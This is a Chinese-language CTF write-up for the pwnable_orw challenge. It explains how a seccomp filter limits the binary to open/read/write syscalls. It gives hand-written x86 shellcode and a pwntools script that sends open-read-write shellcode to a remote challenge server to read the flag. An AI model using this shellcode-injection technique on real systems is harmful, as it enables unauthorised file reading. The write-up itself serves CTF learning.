pwnable_orw

pwnable_orw

使用checksec查看:
在这里插入图片描述
开了Canary,但没有开NX,可以考虑写入shellcode执行。

放进IDA中查看:
在这里插入图片描述
调用orw_seccomp函数后,将用户输入的字符串执行。

直接尝试写入shellcode,发现失败,便回过来看orw_seccomp()函数:
在这里插入图片描述
seccomp 是 secure computing 的缩写,其是 Linux kernel 从2.6.23版本引入的一种简洁的 sandboxing 机制。在 Linux 系统里,大量的系统调用(system call)直接暴露给用户态程序。但是,并不是所有的系统调用都被需要,而且不安全的代码滥用系统调用会对系统造成安全威胁。seccomp安全机制能使一个进程进入到一种“安全”运行模式,该模式下的进程只能调用4种系统调用(system call),即 read(), write(), exit() 和 sigreturn(),否则进程便会被终止。

seccomp-tools来看下还剩下哪些系统调用可以使用:
在这里插入图片描述
OK 还有orw可以使用。

题目思路:

  • 打开flag文件,sys_open(file,0,0);系统调用号为5

    • push 0x0  			#字符串结尾
      push 0x67616c66		#'flags'
      mov ebx,esp			
      xor ecx,ecx			#0
      xor edx,edx			#0
      mov eax,0x5			#调用号
      int 0x80			#sys_open(flags,0,0)
      
  • 读flag文件,sys_read(3,file,0x100);系统调用号为3

    • mov eax,0x3; 
      mov ecx,ebx;	# ecx = char __user *buf 缓冲区,读出的数据-->也就是读“flag”
      mov ebx,0x3;	# 文件描述符 fd:是文件描述符 0 1 2 3 代表标准的输出输入和出错,其他打开的文件
      mov edx,0x100;	#对应字节数
      int 0x80;
      
  • 输出flag文件内容,sys_write(1,file,0x30);系统调用号为4

    • mov eax,0x4;	# eax = sys_write
      mov ebx,0x1;	# ebx = unsigned int fd = 1
      int 0x80;
      

或者用shellcraft生成shellcode。

exp:

from pwn import *

#start
# r = process("../buu/pwnable_orw")
r = remote('node4.buuoj.cn',26281)
context.log_level = 'debug'

#attack
shellcode = shellcraft.open('flag')
shellcode += shellcraft.read('eax','esp',42)
shellcode += shellcraft.write(1,'esp',42)
payload = asm(shellcode)
r.sendlineafter("shellcode:",payload)
print(r.recv())
# io.interactive()  
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值